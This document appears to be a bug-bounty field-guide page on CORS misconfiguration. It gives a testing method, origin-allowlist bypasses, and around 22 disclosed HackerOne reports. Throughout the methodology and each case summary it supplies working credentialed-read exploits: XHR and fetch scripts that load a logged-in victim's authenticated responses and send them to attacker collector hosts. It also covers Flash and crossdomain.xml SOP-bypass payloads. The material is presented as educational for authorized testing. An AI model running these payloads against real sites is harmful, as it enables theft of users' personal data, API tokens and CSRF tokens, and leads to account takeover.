⚠ Authorized testing only. Disclosed public bug-bounty data for defensive/educational research. Use payloads only against systems you are permitted to test.
LogoThe Hacktivity Field GuideReal-world web hacking, catalogued
🔎
Field Guide/Attack surface/CORS Misconfiguration
Attack surface

CORS Misconfiguration

§Basic information

CORS (Cross-Origin Resource Sharing) is the browser mechanism that relaxes the Same-Origin Policy so one origin can read another origin's responses. The server decides who is allowed: it echoes an Access-Control-Allow-Origin (ACAO) header, and — if it wants the cross-origin request to carry the victim's cookies — an Access-Control-Allow-Credentials: true (ACAC) header. Get that policy wrong and you hand any attacker page a credentialed, response-readable channel into a logged-in victim's session.

The whole vulnerability lives in who the server trusts and how it checks it. The lethal combination is a reflected specific origin (or null) returned together with ACAC: true: that is Same-Origin Policy switched off for the endpoint. From an attacker-hosted page you then read the victim's PII, API tokens, and CSRF secrets, and pivot to account actions. Treat CORS as a cross-origin read primitive that chains into account takeover — not a header-audit nag.

▲ WARNING
Access-Control-Allow-Origin: * with credentials is inert — browsers forbid the wildcard alongside ACAC: true. The dangerous form is a reflected exact origin (or null) plus ACAC: true. Reflection without credentials only leaks data reachable without the victim's cookies — usually informative, not a finding.

§Methodology

  1. Find credentialed endpoints. Authenticated JSON/REST APIs that return PII (/api/user, /profile, /api/rest/.../users/ID), token/access-level endpoints, wp-json, and socket.io XHR-polling fallbacks.
  2. Fire one probe — replay the request with a foreign Origin header (keep the victim cookie) and read the response headers back.
  3. Look for the broken pair: your Origin reflected in ACAO and ACAC: true. That pair alone is exploitable.
  4. If exact reflection is blocked, walk the bypass laddernull, suffix, substring, any-subdomain, http:// downgrade (see the Bypasses table). Each rung is a different broken check.
  5. Confirm with a real read from an attacker origin (or the domain that satisfies the sloppy allowlist): withCredentials XHR/fetch, then exfiltrate responseText.
  6. Escalate the bytes — parse a CSRF/authenticity_token or API key out of the stolen response and drive a state-changing action.
# The one probe — foreign Origin at a credentialed endpoint GET /api/user HTTP/1.1 Host: TARGET Origin: https://evil.example Cookie: <victim session> # TELL (exploitable) — response contains BOTH: # Access-Control-Allow-Origin: https://evil.example <- your Origin reflected # Access-Control-Allow-Credentials: true <- credentials honored
# Fast header sweep across a list of endpoints curl -s -I -H "Origin: https://evil.example" "https://TARGET/api/user" \ | grep -i 'access-control-allow-\(origin\|credentials\)'

§Origin-trust bypass variants

Find which check the server uses, then send the Origin that defeats it. All of these still require ACAC: true in the response to be worth reporting.

Reflected Origin + credentials

The baseline bug: the server copies the request Origin verbatim into ACAO and sets ACAC: true (Express cors({origin: true}) does exactly this). Any origin passes — SOP is effectively off for the endpoint.

Origin: https://evil.example # server reflects: # Access-Control-Allow-Origin: https://evil.example # Access-Control-Allow-Credentials: true

null origin

Test on every target — a sandboxed iframe or a data:/file: URI sends Origin: null. If the server reflects null with credentials, you don't even need a registered domain: host the exploit inside a sandboxed frame.

<iframe sandbox="allow-scripts" srcdoc="&lt;script&gt;/* withCredentials fetch runs here as Origin: null */&lt;/script&gt;"> </iframe>

Sloppy allowlist matching (suffix / substring / regex)

The server tries to allowlist but matches badly. endsWith('target.com'), Origin.contains('//target'), or an unanchored regex all pass a lookalike you can register. Enumerate the family, register the one that matches, then run the standard PoC verbatim.

Origin: https://nottarget.com # endsWith('target.com') — unanchored suffix, missing the leading dot Origin: https://target.com.evil.net # startsWith('https://target.com') — unanchored prefix Origin: https://target.evil.net # contains('//target') — the host sits right after the // Origin: https://eviltargetx.com # contains('target') / unescaped-dot regex — bare substring match

Any-subdomain reflection

The check is "ends with .target.com" and reflects any subdomain. Combine with a subdomain takeover, a self-XSS on a sibling host, or a dangling CNAME to obtain a trusted origin.

Origin: https://attacker.target.com

http:// scheme downgrade (MITM)

If the server reflects an http:// origin, you no longer need an attacker-owned domain — a network MITM forges Origin: http://www.target.com, injects a page over cleartext, and reads the https:// responses. Trust bug becomes a network-exfil primitive.

Origin: http://www.target.com # -> Access-Control-Allow-Origin: http://www.target.com # Access-Control-Allow-Credentials: true

§Exploitation

Once a probe confirms the pair, prove impact with a credentialed read from the attacker origin. This is the canonical PoC — host it, lure a logged-in victim, exfiltrate the body.

<script> // Read the victim's authenticated response cross-origin and exfil it var x = new XMLHttpRequest(); x.open('GET', 'https://TARGET/api/user', true); x.withCredentials = true; // sends the victim's cookies x.onload = function () { new Image().src = 'https://COLLAB/?d=' + btoa(x.responseText); }; x.send(); </script>
// fetch equivalent — same primitive, cleaner exfil fetch('https://TARGET/api/user', {credentials: 'include'}) .then(r => r.text()) .then(d => navigator.sendBeacon('https://COLLAB/', d));
▸ TIP
alert(document.domain) proves XSS; for CORS the proof is reading data you shouldn't from a different origin. Screenshot the victim's own email/id/token in the exfiltrated JSON — a reflected header with no read is often waved off as theoretical.

§Legacy cross-origin trust files

Before CORS, Flash and Silverlight granted cross-origin reads via policy files. They still ship on old assets and carry the same trust the ACAO logic does — audit them.

<!-- vulnerable crossdomain.xml pattern --> <!-- <allow-access-from domain="*.partner.com"/> + takeover-able sub.partner.com --> <object type="application/x-shockwave-flash" data="https://TARGET/jsonp-api?callback=__ALNUM_SWF__"> <param name="AllowScriptAccess" value="always"> </object> <!-- response: __ALNUM_SWF__({"api":"json"}) — Flash ignores the trailing bytes -->

§Bypasses

Real allowlist/logic bypasses from the corpus, each tagged with the report it came from.

Filter / controlBypassSeen in
endsWith('target.com')nottarget.com — an unanchored suffix matches a registerable domain#168574
Origin.contains('//target')niche.co.evil.net satisfies the substring check#426147
Substring / sloppy regexdevelopersxzomato.com passes a regex/substring of the trusted host#426165
Any-subdomain reflectionACAO reflects any *.target.com origin — pair with subdomain takeover#629892
http:// scheme allowedreflects http:// origin → network MITM forges the trusted origin#629892
Verbatim reflection + ACAC:trueOrigin echoed unchanged with credentials (SOP off)#235200, #470298, #769058, #1183601, #2332728
null originsandboxed iframe / data: URI yields Origin: null, reflected + creds#235200
crossdomain.xml wildcard<allow-access-from domain="*.partner.com"> + takeover-able sub#244504
clientaccesspolicy.xml wildcardSilverlight policy trusts *#7571
Permissive CDN SWFtrusted host serves SWF with allowDomain('*') + external-loader param#102234
JSONP callback charsetfull alnum SWF smuggled through a [A-Za-z0-9]-filtered callback#10373
Extension-origin trustACAO trusts chrome-extension:// origins → rogue extension impersonates user#412490

§Escalation & impact

A cross-origin read is a means, not the end. Escalate the stolen bytes:

§Prevention

§Tools

Specimens — real-world examples

The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 22 in this class.

Real-world example

Origin-reflecting CORS with credentials enables cross-origin data theft

◆ High
Specimen #470298 · deptofdefense · none · 34 votes · resolved
Program deptofdefenseSurface webTag cors

Root cause

The API reflects the request Origin verbatim into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, so any attacker origin can read authenticated responses in a victim's browser.

Method

  1. Send a request with Origin: exploit.com to the API
  2. Confirm response echoes Access-Control-Allow-Origin: exploit.com + Allow-Credentials: true
  3. Host a page that XHRs the endpoint withCredentials=true and exfiltrates the response
var x=new XMLHttpRequest(); x.open('GET','https://TARGET/api/jsonws/.../get-content-by-slug/slug/page-ex-link',true); x.withCredentials=true; x.onload=function(){fetch('https://COLLAB/?d='+btoa(x.responseText))}; x.send();

Insight — Any endpoint that reflects Origin AND allows credentials is exploitable. Always test with a random Origin header; also test null origin and trusted-subdomain-substring bypasses.

Real-world example

Insecure crossdomain.xml + takeover of an allow-listed subdomain -> SOP bypass

◆ High
Specimen #244504 · starbucks · awarded · 29 votes · resolved
Program starbucksSurface webChain subdomain takeover -> Flash SOP bypass -> authenticateTag corsTag subdomain-takeover

Root cause

crossdomain.xml (and allow-http-request-headers-from) trusts specific wildcarded partner domains (*.partner.com) instead of only self; if any allow-listed subdomain is takeover-able, an attacker hosts a Flash file there and makes authenticated, header-controlled, response-readable requests to the target.

Method

  1. Fetch /crossdomain.xml and enumerate every non-self allow-access-from domain (especially *.wildcards).
  2. Resolve each allowed subdomain and check for dangling-DNS/subdomain takeover.
  3. Take over a trusted subdomain and host a SWF that reads target responses cross-origin (headers=* makes it worse).
<!-- vulnerable crossdomain.xml pattern --> <allow-access-from domain="*.partner.com"/> <allow-http-request-headers-from domain="*" headers="*"/> <!-- attacker takes over sub.partner.com, hosts evil.swf there -->

Insight — Treat crossdomain.xml / clientaccesspolicy.xml allow-lists as an extension of your trust boundary: every wildcard and partner domain must be alive and owned. Always cross-check allow-listed domains against subdomain-takeover.

Real-world example

CORS ACAO reflection with credentials -> account takeover

◆ High
Specimen #426147 · x · none · 29 votes · resolved
Program xSurface apiChain CORS read -> steal CSRF/authenticity_token -> state-chTag corsTag account-takeover

Root cause

Access-Control-Allow-Origin is reflected from the request Origin with Access-Control-Allow-Credentials: true, and origin validation only checks that the Origin string contains '//niche.co'. Attacker origins such as https://niche.co.evil.net therefore pass.

Method

  1. Host a page on a domain containing the substring '//niche.co' (e.g. niche.co.evil.net)
  2. From it, XHR GET the authenticated API endpoint with withCredentials=true
  3. Read the cross-origin response (user data / tokens)
  4. Exfiltrate to attacker server
var x=new XMLHttpRequest();x.open('GET','https://www.niche.co/api/v1/users/ID',true);x.withCredentials=true;x.onload=function(){/* send x.responseText to attacker */};x.send();

Insight — When testing CORS, don't stop at exact-origin: try suffix/prefix/substring bypasses (evil.com after target, target.com.evil.net, http/ftp/file schemes). If ACAC is true, you can read authenticated data and pull CSRF tokens -> full account actions.

Real-world example

Origin-reflecting CORS with credentials enables cross-origin data theft

◆ High
Specimen #1183601 · upchieve · none · 15 votes · resolved
Program upchieveSurface apiChain CORS reflection -> credentialed cross-origin read -> PTag cors

Root cause

The API reflects the request Origin into Access-Control-Allow-Origin (and allows credentials), so a malicious page can issue a credentialed cross-origin request and read the authenticated response (e.g. /api/user PII).

Method

  1. Send a request with a foreign Origin header and confirm it is reflected in access-control-allow-origin.
  2. Host a page that XHR/fetches the sensitive endpoint with withCredentials=true.
  3. When a logged-in victim visits, read the response (PII/account data) and exfiltrate it.
GET /api/user HTTP/1.1 Host: app.upchieve.org Origin: evil.com --> access-control-allow-origin: evil.com // attacker page: var req=new XMLHttpRequest();req.onload=()=>fetch('//attacker/?d='+btoa(req.responseText)); req.open('get','https://app.upchieve.org/api/user',true);req.withCredentials=true;req.send();

Insight — Test CORS by sending Origin: evil.com and Origin: null; if it is reflected AND access-control-allow-credentials:true, it's a full read of authenticated data. Also test trusted-substring bugs (evil-app.com, app.com.evil.com). Fix = static allowlist, never reflect.

Real-world example

Credentialed CORS with reflected Origin leaks API tokens

◆ High
Specimen #733017 · deptofdefense · none · 6 votes · resolved
Program deptofdefenseSurface webTag corsTag account-takeover

Root cause

The server reflects the request Origin into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, so any attacker-controlled origin can read authenticated responses (including a token-list endpoint) using the victim's cookies.

Method

  1. Send a request with a random Origin header and check for Access-Control-Allow-Origin echoing it back plus Access-Control-Allow-Credentials: true.
  2. Host a page that does a credentialed XHR (withCredentials=true) to a sensitive endpoint (e.g. /api/token/list).
  3. Read the cross-origin response and exfiltrate API keys / PII to the attacker server.
<script> var x=new XMLHttpRequest(); x.open('GET','https://TARGET/api/token/list',true); x.withCredentials=true; x.onload=function(){new Image().src='https://COLLAB/?d='+btoa(x.responseText)}; x.send(); </script>

Insight — The dangerous combo is reflected-origin ACAO + ACAC:true. A wildcard '*' cannot be combined with credentials, so programs that need cookies often reflect the Origin instead - always probe with a junk Origin and look for it echoed.

Real-world example

Same-Origin Policy bypass: alphanumeric SWF smuggled through a JSONP callback

◆ High
Specimen #10373 · ibb · awarded · 5 votes · resolved
Program ibbSurface webChain JSONP reflection -> SWF content-type confusion -> SOP Tag cors

Root cause

A JSONP endpoint lets the caller control the first bytes of the response (the callback name). Because Flash ignores trailing bytes after a valid SWF and a whole SWF can be DEFLATE-encoded into the [A-Za-z0-9] range, an attacker passes a full SWF as the callback; the browser loads it in the JSONP domain's security context and can then make credentialed same-origin requests and read responses.

Method

  1. Find a JSONP endpoint that reflects the callback param at the start of the response and only filters it to [A-Za-z0-9]
  2. Build a valid SWF whose bytes are all alphanumeric (ascii-zip DEFLATE trick); trailing JSON is ignored by Flash
  3. Embed it via <object data="https://target/jsonp?callback=<ALNUM_SWF>"> with AllowScriptAccess=always
  4. The SWF runs as target-origin and proxies authenticated cross-origin reads to the attacker
<object type="application/x-shockwave-flash" data="https://TARGET/jsonp-api?callback=__ALNUM_SWF__"> <param name="AllowScriptAccess" value="always"> </object> # response: __SWF_FILE__({"actual":"API","response":15}) <-- trailing JSON ignored by Flash

Insight — Content that starts with attacker-controlled bytes and is served same-origin can be reinterpreted as an executable format (SWF, and historically PDF/HTML sniffing). Even a legacy JSONP endpoint becomes a full SOP-bypass primitive. Mitigations that generalize: prefix JSONP with an empty callback/comment, or host JSONP on a sandbox domain with no crossdomain.xml trust back.

Real-world example

SOP bypass via a permissive CDN SWF trusted by crossdomain.xml

◆ High
Specimen #102234 · ok · awarded · 5 votes · resolved
Program okSurface webChain crossdomain.xml trust -> permissive CDN SWF (allowDomain(Tag cors

Root cause

The main domain's crossdomain.xml trusts a CDN host that serves a SWF using Security.allowDomain('*') and loads an attacker-controlled external SWF via an uncontrolled vpaidSwfUrl parameter. The loaded SWF therefore runs in the CDN origin, which crossdomain trust lets read the main domain.

Method

  1. Read target crossdomain.xml to list trusted domains
  2. Find a SWF on any trusted domain that calls Security.allowDomain('*') and takes a URL param that loads/executes another SWF
  3. Host a malicious SWF; pass its URL in the vulnerable param (e.g. vpaidSwfUrl)
  4. From the trusted origin, request main-domain authenticated pages and exfiltrate to attacker JS
http://st.mycdn.me/static/MegaPlayer/10-2-21/vpaid-js-interface.swf?vpaidSwfUrl=http://ATTACKER/ok.swf?url=http://ok.ru/settings&Loader=test // ok.swf reads http://ok.ru/settings and posts innerHTML to attacker-controlled origin

Insight — Audit crossdomain.xml, then hunt the trusted hosts for old SWFs that combine allowDomain('*') with a URL param that loads external Flash. Legacy Flash SOP bypasses persist wherever crossdomain trust + a permissive SWF loader still exist. Decompile candidate SWFs (Flashbang/JPEXS) to confirm the parameter is passed to Loader.

Real-world example

Origin reflection with weak substring match -> credentialed cross-origin read

◆ Medium
Specimen #426165 · eternal · 550 · 245 votes · resolved
Program eternalSurface webTag cors

Root cause

The server reflected an arbitrary Origin into Access-Control-Allow-Origin together with Access-Control-Allow-Credentials: true; the allowlist check was a substring/regex that an attacker domain (developersxzomato.com) satisfied, enabling authenticated cross-origin reads.

Method

  1. Send request with a crafted Origin header
  2. Check if it is reflected in ACAO with ACAC:true
  3. Register a domain that satisfies the sloppy match and host an exploit page
Origin: developersxzomato.com -> Access-Control-Allow-Origin: developersxzomato.com Access-Control-Allow-Credentials: true // PoC: var r=new XMLHttpRequest();r.open('get','https://www.zomato.com/abudhabi',true);r.withCredentials=true;r.send();

Insight — When ACAO reflects Origin with credentials, test bypass domains: attacker-prefixed (targetX.com), attacker-suffixed (target.com.evil.com), and substring matches. A registerable domain that passes the check reads victim data.

Real-world example

CORS reflects any subdomain and allows http scheme -> profile/email leak

◆ Medium
Specimen #629892 · superhuman · awarded · 139 votes · resolved
Program superhumanSurface webTag corsTag account-takeover

Root cause

The ACAO check reflects any *.grammarly.com origin and accepts the insecure http scheme while ACAC is true; a MITM (or any controllable subdomain) can read credentialed responses like /profile containing email and settings.

Method

  1. Send Origin: http://www.TARGET.com (or attacker.TARGET.com) with a credentialed request
  2. Observe Access-Control-Allow-Origin reflects it and Allow-Credentials: true
  3. From a MITM-injected/evil subdomain page, XHR withCredentials to the sensitive endpoint and read the body
var x=new XMLHttpRequest(); x.open('GET','https://g-mail.grammarly.com/profile',true); x.withCredentials=true; x.onload=()=>console.log(x.responseText); // {id,email,...} x.send();

Insight — Test CORS with Origin variations: arbitrary subdomain, http:// downgrade, null. Reflection + Allow-Credentials on any of them = credentialed data theft (and via http, a MITM can forge the trusted origin).

Real-world example

CORS reflects arbitrary Origin with Allow-Credentials:true -> cross-origin data theft

◆ Medium
Specimen #235200 · semrush · awarded · 97 votes · resolved
Program semrushSurface webTag cors

Root cause

The API echoes the request Origin into Access-Control-Allow-Origin AND sets Access-Control-Allow-Credentials: true, so any attacker origin can make credentialed cross-origin reads of the victim's authenticated JSON.

Method

  1. Send a request with a random Origin header and check whether the response reflects it in Access-Control-Allow-Origin with Allow-Credentials: true.
  2. Host a page that issues a credentialed XHR/fetch (withCredentials) to the sensitive authed endpoint.
  3. Lure a logged-in victim; read the cross-origin response and exfiltrate it.
var req = new XMLHttpRequest(); req.onload = function(){ /* exfil this.responseText */ }; req.open('GET','https://TARGET/api/rest/1.2/users/ID/projects',true); req.withCredentials = true; req.send();

Insight — Test CORS by sending Origin: https://evil.example and looking for reflection + Allow-Credentials:true. Also test null origin and subdomain/regex trust. Reflected-origin + credentials = read any authed endpoint from an attacker page. Fix = allowlist, never reflect.

Real-world example

CORS origin reflection with credentials

◆ Medium
Specimen #958459 · acronis · none · 26 votes · resolved
Program acronisSurface webTag cors

Root cause

Server reflects arbitrary request Origin into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, so any site can read authenticated cross-origin responses.

Method

  1. Send a request adding an arbitrary Origin header
  2. Confirm the response echoes the same Origin in ACAO with ACAC:true
  3. Host attacker JS that fetches the endpoint with credentials:'include' and exfiltrates the body
GET /wp-json HTTP/1.1 Host: TARGET Origin: https://evil.com --> Response: Access-Control-Allow-Origin: https://evil.com Access-Control-Allow-Credentials: true

Insight — Whenever ACAO reflects your Origin AND ACAC is true, it is exploitable regardless of the wildcard-looking config; test with a junk Origin and check for exact reflection + credentials.

Real-world example

Reflected-Origin CORS with credentials

◆ Medium
Specimen #1005374 · deptofdefense · none · 15 votes · resolved
Program deptofdefenseSurface webTag cors

Root cause

The endpoint reflects an arbitrary Origin into Access-Control-Allow-Origin while also setting Access-Control-Allow-Credentials: true, letting any attacker origin read authenticated responses.

Method

  1. Send a request with Origin: evil.com
  2. Confirm response reflects ACAO: evil.com and ACAC: true
  3. Host a page on an attacker origin that does a credentialed XHR/fetch and reads the body
GET /wp-json/wp/v2/ HTTP/1.1 Origin: http://evil.com --- response --- Access-Control-Allow-Origin: http://evil.com Access-Control-Allow-Credentials: true <!-- exploit --> <script> var x=new XMLHttpRequest(); x.onload=()=>fetch('//attacker/?d='+btoa(x.responseText)); x.open('GET','https://TARGET/wp-json/wp/v2/',true); x.withCredentials=true;x.send(); </script>

Insight — Always test CORS with a junk Origin and check for ACAO reflection plus ACAC:true. The combination is exploitable cross-origin credentialed data theft; null Origin and trusted-suffix bypasses are the next tests.

Real-world example

Reflected Origin + credentials CORS misconfiguration

◆ Medium
Specimen #896093 · deptofdefense · none · 14 votes · resolved
Program deptofdefenseSurface webTag cors

Root cause

The /wp-json API reflects any supplied Origin into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, letting a malicious page read authenticated responses cross-origin.

Method

  1. Send a request with Origin: http://evil.com and observe ACAO reflects it with ACAC:true
  2. Host a page that XHRs the endpoint withCredentials
  3. Exfiltrate the authenticated response to the attacker server
GET /wp-json HTTP/1.1 Origin: http://evil.com --> Access-Control-Allow-Origin: http://evil.com Access-Control-Allow-Credentials: true

Insight — ACAO reflecting the request Origin together with ACAC:true is exploitable credentialed CORS. Always test with a junk Origin - if it is echoed back and credentials are allowed, you can read the victim's authenticated data.

Real-world example

Reflected-origin CORS with credentials on authenticated endpoint

◆ Medium
Specimen #1199527 · upchieve · none · 10 votes · resolved
Program upchieveSurface webTag cors

Root cause

The server reflects any supplied Origin into Access-Control-Allow-Origin and returns Access-Control-Allow-Credentials: true, so a malicious site can read authenticated responses of a logged-in victim cross-origin.

Method

  1. Send a request with an arbitrary Origin header to an authenticated endpoint (e.g. /dashboard)
  2. Observe access-control-allow-origin echoes the Origin and access-control-allow-credentials: true
  3. Host attacker JS that fetches the endpoint with credentials:'include' and exfiltrates the response
GET /dashboard HTTP/1.1\nHost: app.upchieve.org\nOrigin: https://attacker.example\n\n\n--> access-control-allow-origin: https://attacker.example\naccess-control-allow-credentials: true

Insight — Test every authenticated endpoint by sending a random Origin: reflection + ACAC:true = cross-origin account data theft. Null origin and subdomain trust variants are worth testing too.

Real-world example

Origin-reflecting CORS with credentials -> cross-origin data theft

◆ Medium
Specimen #995144 · deptofdefense · none · 7 votes · resolved
Program deptofdefenseSurface webTag corsTag account-takeover

Root cause

Server reflects the request Origin into Access-Control-Allow-Origin and also returns Access-Control-Allow-Credentials: true, letting any attacker origin read authenticated responses.

Method

  1. Send a request with a foreign Origin header and observe ACAO reflects it plus ACAC:true.
  2. Host a page that XHR/fetches the sensitive endpoint with withCredentials=true.
  3. Exfiltrate the authenticated response body to attacker server.
GET /sensitive HTTP/1.1 Host: target Origin: http://attacker.com --> Access-Control-Allow-Origin: http://attacker.com Access-Control-Allow-Credentials: true <script> var x=new XMLHttpRequest(); x.open('GET','https://target/sensitive',true); x.withCredentials=true; x.onload=function(){fetch('http://attacker.com/?d='+btoa(x.responseText))}; x.send(); </script>

Insight — Always send a junk Origin header on authenticated endpoints. Reflection of Origin + ACAC:true is instantly exploitable; also test null Origin, sub-string/suffix matching (target.com.evil.com), and trusted-subdomain takeover as CORS bypasses.

Real-world example

CORS misconfig on WordPress wp-json enables credentialed cross-origin read

◆ Medium
Specimen #1092125 · deptofdefense · none · 5 votes · resolved
Program deptofdefenseSurface webTag cors

Root cause

The site reflects/accepts arbitrary Origins with Access-Control-Allow-Credentials: true, so any attacker page can issue withCredentials XHR to endpoints like /wp-json/wp/v2/users/ and read the JSON response (user IDs, names, login usernames) across origin.

Method

  1. Find a REST endpoint returning data (WordPress /wp-json/wp/v2/users/)
  2. Send a request with Origin: evil.com and confirm response echoes ACAO: evil.com + ACAC: true
  3. Host an HTML page that does a withCredentials XMLHttpRequest to the endpoint
  4. Victim visits the page; response body is read cross-origin and exfiltrated
<script> var req = new XMLHttpRequest(); req.onload = function(){ /* exfil this.responseText */ }; req.open('GET','https://TARGET/wp-json/wp/v2/users/', true); req.withCredentials = true; req.send(); </script>

Insight — Whenever a response returns Access-Control-Allow-Origin reflecting the request Origin AND Access-Control-Allow-Credentials: true, it is exploitable - any origin can read authenticated responses. Probe with Origin: evil.com and check both headers; on WordPress, /wp-json/wp/v2/users/ is a quick user-enumeration target.

Real-world example

CORS trusting browser-extension origins lets a malicious extension impersonate the user

◆ Medium
Specimen #412490 · superhuman · awarded · 33 votes · resolved
Program superhumanSurface webTag cors

Root cause

CORS/CSRF handling trusts requests originating from browser-extension origins interacting with the app domain, so any extension with host permission for that domain can perform authenticated cross-origin actions as the user.

Method

  1. Identify that the app's CORS/CSRF policy trusts extension origins for its domain
  2. From an extension with grammarly.com host permission, issue credentialed requests to the app
  3. Impersonate the user / act on their behalf

Insight — When auditing CORS allow-lists, check whether chrome-extension://, moz-extension:// or wildcarded extension origins are trusted. Extensions run in many users' browsers and become a delegated CSRF/CORS vector.

Real-world example

Origin-reflecting CORS with credentials -> cross-origin data theft

◆ Low
Specimen #769058 · semrush · awarded · 46 votes · resolved
Program semrushSurface webTag cors

Root cause

An authenticated JSON endpoint reflected an arbitrary request Origin into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, letting any site read the victim's authenticated response.

Method

  1. Find an authenticated JSON endpoint
  2. Send a cross-origin request with an arbitrary Origin and observe ACAO reflects it and ACAC:true
  3. Host JS on attacker site that fetches the endpoint withCredentials
  4. Read the victim's data cross-origin
var x=new XMLHttpRequest(); x.onload=function(){ fetch('//attacker.tld/log?d='+encodeURIComponent(x.response)); }; x.open('GET','https://www.semrush.com/content-paywall/api/accesslevel',true); x.withCredentials=true; x.send();

Insight — Test every credentialed endpoint with a foreign Origin header. If ACAO echoes it (or is null) alongside ACAC:true, it is exploitable - reflect-origin plus credentials is the exact broken combination.

Real-world example

Credentialed CORS on a WebSocket/socket.io polling endpoint

◆ Low
Specimen #372452 · infogram · none · 12 votes · resolved
Program infogramSurface webTag cors

Root cause

The socket.io endpoint reflects the request Origin and allows credentials, so a malicious page can issue a withCredentials cross-origin request and read the authenticated victim's session data.

Method

  1. Confirm the endpoint reflects arbitrary Origin with Access-Control-Allow-Credentials: true
  2. Host a page that does a withCredentials XHR to the endpoint
  3. Read the response cross-origin from the victim's authenticated session
<script> var req = new XMLHttpRequest(); req.onload = function(){ alert(this.responseText); }; req.open('get','https://ws.infogram.com/socket.io/?EIO=3&transport=polling&t=MH7BU79',true); req.withCredentials = true; req.send(); </script>

Insight — socket.io/long-polling and other 'API' subdomains are often overlooked in CORS audits. Test Origin reflection + ACAC:true on WS handshake and polling endpoints; a valid PoC needs withCredentials and a reflected/allow-listed origin.

Real-world example

Credentialed CORS: reflected Origin + Access-Control-Allow-Credentials:true

◆ Low
Specimen #2332728 · publitas · none · 4 votes · resolved
Program publitasSurface webChain CORS misconfig -> credentialed cross-origin read -> seTag cors

Root cause

The server reflects an arbitrary request Origin into Access-Control-Allow-Origin while also sending Access-Control-Allow-Credentials: true, so any attacker page can issue withCredentials requests and read authenticated responses cross-origin.

Method

  1. Send a request with a random/attacker Origin header to the target (WP-JSON / API endpoint)
  2. Confirm the response echoes that exact Origin in ACAO and includes ACAC: true
  3. Host an HTML page that fetches the endpoint with withCredentials and exfiltrates responseText
  4. Lure an authenticated victim to the page
<script> var x = new XMLHttpRequest(); x.onreadystatechange = function(){ if(this.readyState==4&&this.status==200){ /* exfil */ new Image().src='https://COLLAB/?d='+btoa(this.responseText); } }; x.open('GET','https://TARGET/wp-json/…',true); x.withCredentials = true; x.send(); </script>

Insight — Detection is one probe: send Origin: https://evil.example and check whether ACAO reflects it AND ACAC:true is present. Reflected-origin + credentials = readable authenticated data cross-origin. Also test null origin (sandboxed iframe/data: URI) and trusted-suffix bypasses (evil-target.com, target.com.evil.com).

Real-world example

Overly permissive Silverlight cross-domain policy (clientaccesspolicy.xml wildcard)

◆ Low
Specimen #7571 · automattic · none · 1 votes · resolved
Program automatticSurface webTag cors

Root cause

The app publishes a Silverlight clientaccesspolicy.xml that allows all domains and all request headers, so any origin can make two-way authenticated cross-domain requests to the app on behalf of a logged-in user.

Method

  1. Fetch /clientaccesspolicy.xml (Silverlight) and /crossdomain.xml (Flash) on the target.
  2. Look for wildcard grants: <domain uri="http://*"/> / allow-from http-request-headers="*".
  3. If present, any attacker origin can read authenticated responses (cross-domain) using a Silverlight/Flash client in the victim's session.
<!-- https://app.TARGET.com/clientaccesspolicy.xml --> <allow-from http-request-headers="*"> <domain uri="http://*"/> <domain uri="https://*"/> </allow-from>

Insight — clientaccesspolicy.xml (Silverlight) and crossdomain.xml (Flash) are cheap recon wins: a wildcard domain grant is equivalent to Access-Control-Allow-Origin:* with credentials. Always pull both files early. Scope the policy to specific trusted origins to fix.

Real-world example

CORS origin suffix-match bypass

◆ Info
Specimen #168574 · eternal · none · 31 votes · resolved
Program eternalSurface webChain Reflected credentialed CORS -> read arbitrary authenticatTag cors

Root cause

The CORS origin allowlist is validated by checking the Origin ends with 'zomato.com' rather than '.zomato.com', so an attacker-registered domain like notzomato.com is reflected as an allowed origin with credentials.

Method

  1. Send a request with Origin: https://notzomato.com
  2. Observe Access-Control-Allow-Origin reflects it with Allow-Credentials: true
  3. Host a page on the attacker domain to read authenticated cross-origin responses
Origin: https://notzomato.com # server reflects: Access-Control-Allow-Origin: https://notzomato.com # Access-Control-Allow-Credentials: true

Insight — Test CORS with sibling/suffix origins: prefix (target.com.evil.com), suffix (nottarget.com), substring, and null. Endswith/regex without an anchored dot is the classic bug; register the matching domain to weaponize.

§References & practice

  1. PortSwigger Web Security Academy — CORS labs (hands-on practice).
  2. All 22 disclosed reports for this class are catalogued as specimens above.
  3. See also: exploit chains · payload libraries · methodology.